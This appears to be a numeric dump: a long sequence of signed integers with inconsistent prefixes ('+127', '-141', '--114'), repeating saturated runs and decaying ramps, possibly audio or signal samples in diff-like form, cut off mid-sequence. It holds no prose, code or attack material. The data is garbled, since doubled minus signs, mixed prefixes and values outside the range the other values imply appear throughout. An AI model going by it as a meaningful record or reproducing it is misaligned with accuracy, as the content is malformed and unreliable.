+127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +66 +63 +60 +58 +54 +50 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-102 +-112 +94 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +70 +68 +64 +63 +60 +57 +54 +51 +46 +42 +-56 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-108 +-101 +-112 +93 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +112 +97 +87 +80 +75 +71 +68 +65 +63 +60 +57 +54 +50 +46 +42 +38 +34 +30 +26 +22 +20 +16 +14 +11 +9 +7 +5 +2 +1 +0 +-1 +-2 +-3 +-5 +-5 +-6 +-7 +-8 +-8 +-9 +-9 +-10 +-10 +-11 +-12 +-12 +-13 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-102 +-111 +-105 +-99 +-77 +-88 +-67 +-79 +-75 +-71 +-68 +-64 +-61 +-58 +-56 +-53 +-50 +-48 -46 -44 -42 -39 --36 --34 --32 --30 --28 --27 --25 --23 --22 --20 --19 --18 --16 --15 --14 --13 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -114 -108 -104 -99 -95 -93 -88 -85 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -109 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -73 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -79 -77 -75 -72 -68 -65 -60 -56 -52 -48 -43 -40 -36 -34 -30 -27 -24 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -8 -7 -6 -5 -4 -4 -3 -3 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --98 --91 --86 --64 --75 --54 --66 --62 --58 --54 --51 --48 --45 --42 --39 --36 --35 --32 --30 --28 --26 --24 --23 --21 --20 --18 --18 --16 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -108 -103 -98 -94 -91 -87 -84 -79 -75 -70 -65 -60 -57 -52 -48 -43 -40 -37 -33 -30 -28 -25 -23 -21 -19 -18 -16 -15 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -4 -3 -3 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --92 --84 --64 --75 --54 --65 --61 --58 --54 --50 --47 --44 --41 -38 --36 +-37 +-35 -34 -32 +-32 +-31 +-30 -29 -28 --26 --25 --24 --21 --21 --19 --18 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -103 -99 -94 -92 -87 -84 -78 -74 -70 -67 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --85 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 +-27 127 -112 -102 -94 -90 -86 -83 -80 -77 -74 -72 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +122 +109 100 94 -90 -85 +88 +86 82 78 -76 -73 +74 70 -68 -64 -59 -55 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -102 -94 -90 -86 -83 -80 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -84 -81 -80 -78 -74 -72 -68 -65 -60 -56 +66 +62 +57 52 -48 -44 -40 -36 -33 +46 +42 +38 +34 29 -27 25 22 -21 -19 -18 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -6 -5 -4 -4 -4 -3 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --85 --64 --75 --54 --66 --61 --58 --54 --51 --48 --45 --42 --39 --36 --34 --32 --30 --28 --26 --25 --23 --21 --20 --19 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -115 -108 -103 -99 -95 -92 -87 -84 -79 -75 -70 -66 -60 -56 -52 -48 -44 -40 -36 -33 -30 -28 -25 -23 20 -19 -17 -16 -15 -13 -12 -11 -10 -10 -9 -7 -7 -6 -5 -4 -4 -3 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -99 -92 -88 -84 -81 -78 -76 -73 -70 -67 -63 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --97 --91 --85 --80 --59 --70 --66 --62 --58 --54 --51 --48 --45 --42 --39 --37 --35 --32 --30 --28 --26 --24 --23 --21 --20 --18 --17 --16 --15 --14 --13 --12 --11 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -108 -103 -100 -95 -92 -88 -84 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -94 -89 -85 -82 -79 -77 -74 -71 -68 -65 -61 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -80 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -78 -75 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -88 -84 -81 -78 -76 -73 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --86 --96 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -101 -94 -89 -85 -82 -79 -77 -74 -71 -67 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -111 -102 -93 -88 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -88 -84 -82 -79 -77 -74 -71 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --89 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -94 -89 -84 -81 -79 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --96 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -93 -89 -85 -82 -80 -78 -75 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -102 -94 -88 -84 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -100 -94 -89 -85 -82 -79 -78 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -37 -34 -30 -28 -25 -23 -21 -19 -17 16 14 -14 -12 12 10 -9 -8 7 -6 -6 5 4 -4 -4 3 -2 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 --91 --85 --64 --75 --54 --65 --61 --57 --53 --51 --47 --44 --41 --38 --37 --35 --32 --30 --28 --27 --24 --23 --22 --20 --18 --17 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -123 -113 -108 -103 -99 -94 -91 -87 -84 -79 -75 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --95 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -127 -112 -101 -93 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -100 -93 -89 -85 -81 -79 -77 -74 -72 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -92 -89 -85 -81 -79 -77 -74 -72 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -78 -75 -72 -68 -65 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --97 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -43 -40 -36 -33 -30 -28 -25 -23 -21 -19 -17 -15 -13 -13 -12 -10 -10 -9 -8 -7 -6 -5 -4 -4 -3 -2 -2 -2 1 0 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --89 --98 --90 --85 --64 --74 --53 --65 --61 --58 --54 --50 --47 --44 --42 --39 --36 --34 --32 --30 --28 --26 --24 --22 --21 --20 --18 --17 --16 --15 --14 --13 +-1 +-2 +-3 +-4 +-5 +-6 +-7 +-8 +-9 +-9 +-10 +-11 +-11 -12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -124 -114 -108 -103 -99 -94 -92 -88 -84 -79 -76 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -90 -85 -82 -80 -77 -74 -71 -67 -64 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -89 -86 -83 -80 -78 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -85 -82 -79 -77 -74 -71 -68 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -93 -89 -85 -82 -79 -78 -74 -72 -68 -65 -60 -56 -52 -48 -44 -40 -36 -34 -30 -27 -25 -22 -20 -19 -17 -16 -14 -13 -12 -11 -10 -8 -7 -6 -5 -4 -4 -4 -4 -3 -3 -3 -2 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -124 -109 -99 -92 -88 -83 -81 -78 -77 -74 -71 -67 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --90 --84 --80 --59 --70 --66 --62 --58 --54 --51 --48 --44 --42 --38 --36 --34 --32 --30 --28 --26 --24 --22 --21 --20 --18 --18 --17 --15 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -124 -114 -109 -103 -100 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -106 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -90 -86 -83 -80 -78 -74 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -112 -102 -94 -90 -86 -82 -80 -77 -74 -70 -67 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -93 -89 -85 -82 -79 -77 -74 -72 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --98 -104 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -78 -77 -74 -72 -68 -64 -60 -56 -52 -48 -43 -40 -36 -33 -30 -27 -25 -23 -20 -19 -17 -16 -14 -12 -11 -11 -9 -9 -8 -7 -6 -6 -5 -5 -4 -4 -3 -2 -2 -1 +-102 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-128 +-109 +-101 +-111 +-106 +-99 +-77 -89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --88 --97 --91 --85 --64 --75 --54 --66 --62 --57 --54 --50 --48 --44 --41 --39 --37 --34 --32 --30 --29 --27 --24 --23 --21 --20 --19 --17 --16 --15 --14 --13 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -137 -123 -113 -107 -102 -99 -95 -92 -88 -84 -79 -76 -70 -66 --35 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -102 -94 -89 -85 -83 -80 -77 -74 -71 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -102 -93 -88 -84 -82 -80 -77 -74 -72 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -88 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -80 -77 -74 -72 -68 -64 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --88 --98 -108 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -84 -82 -78 -77 -74 -71 -68 -65 -60 -56 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --94 --87 --98 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -44 -40 -36 -34 -30 -28 -25 -23 -21 -19 -16 -15 -14 -13 -12 -11 -9 -9 -8 -7 -6 -6 -5 -5 -4 -4 -3 -2 -2 -1 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 --91 --85 --63 --74 --53 --65 --61 --57 --54 --50 --47 --44 --42 --39 --36 --34 --32 --30 --28 --25 --24 --23 --21 --20 --18 --18 --17 --16 --15 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -136 -123 -114 -108 -102 -100 -96 -92 -88 -84 -80 -76 -71 -66 -60 -56 -52 -48 -43 -39 -36 -34 -30 -28 -26 -24 -21 -19 -18 -17 -15 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 --88 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 --92 --85 --63 --75 --54 --65 --61 --57 --54 --51 --47 --44 --42 --39 --36 --34 --32 --30 --27 --26 --24 --23 --22 --20 --19 --18 --16 --16 --14 --14 --13 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -134 -123 -114 -109 -103 -98 -95 -92 -88 -84 -80 -76 -70 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --93 --86 --96 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -110 -101 -94 -88 -85 -83 -80 -78 -74 -72 -69 -65 -61 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --96 --87 --97 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -125 -110 -100 -93 -88 -84 -82 -79 -77 -74 -71 -67 -64 -60 -57 --42 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --98 -105 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -95 -90 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 --97 -107 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -126 -111 -101 -94 -89 -85 -82 -79 -77 -74 -71 -68 -64 -60 -56 -52 -48 -43 -40 -36 -33 -30 -27 -25 -23 -21 -19 -17 -16 -14 -13 -12 -11 -10 -9 -8 -7 -6 -5 -5 -4 -3 -3 -2 -2 -1 -1 --89 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --88 -98 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -140 -122 -108 -98 -91 -87 -82 -80 -77 -75 -72 -69 -66 -63 -59 -56 --43 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --95 --87 --97 --91 --85 +-68 -79 --58 --69 --66 --62 --57 --54 --50 --47 --44 --41 --39 --36 --34 --32 --30 --28 --26 --24 --23 --22 --20 --19 --18 --17 --15 --14 --13 --12 --12 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -141 -135 -125 -115 -109 -104 -100 -96 -92 -88 -85 -80 -76 -71 -66 --34 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 --114 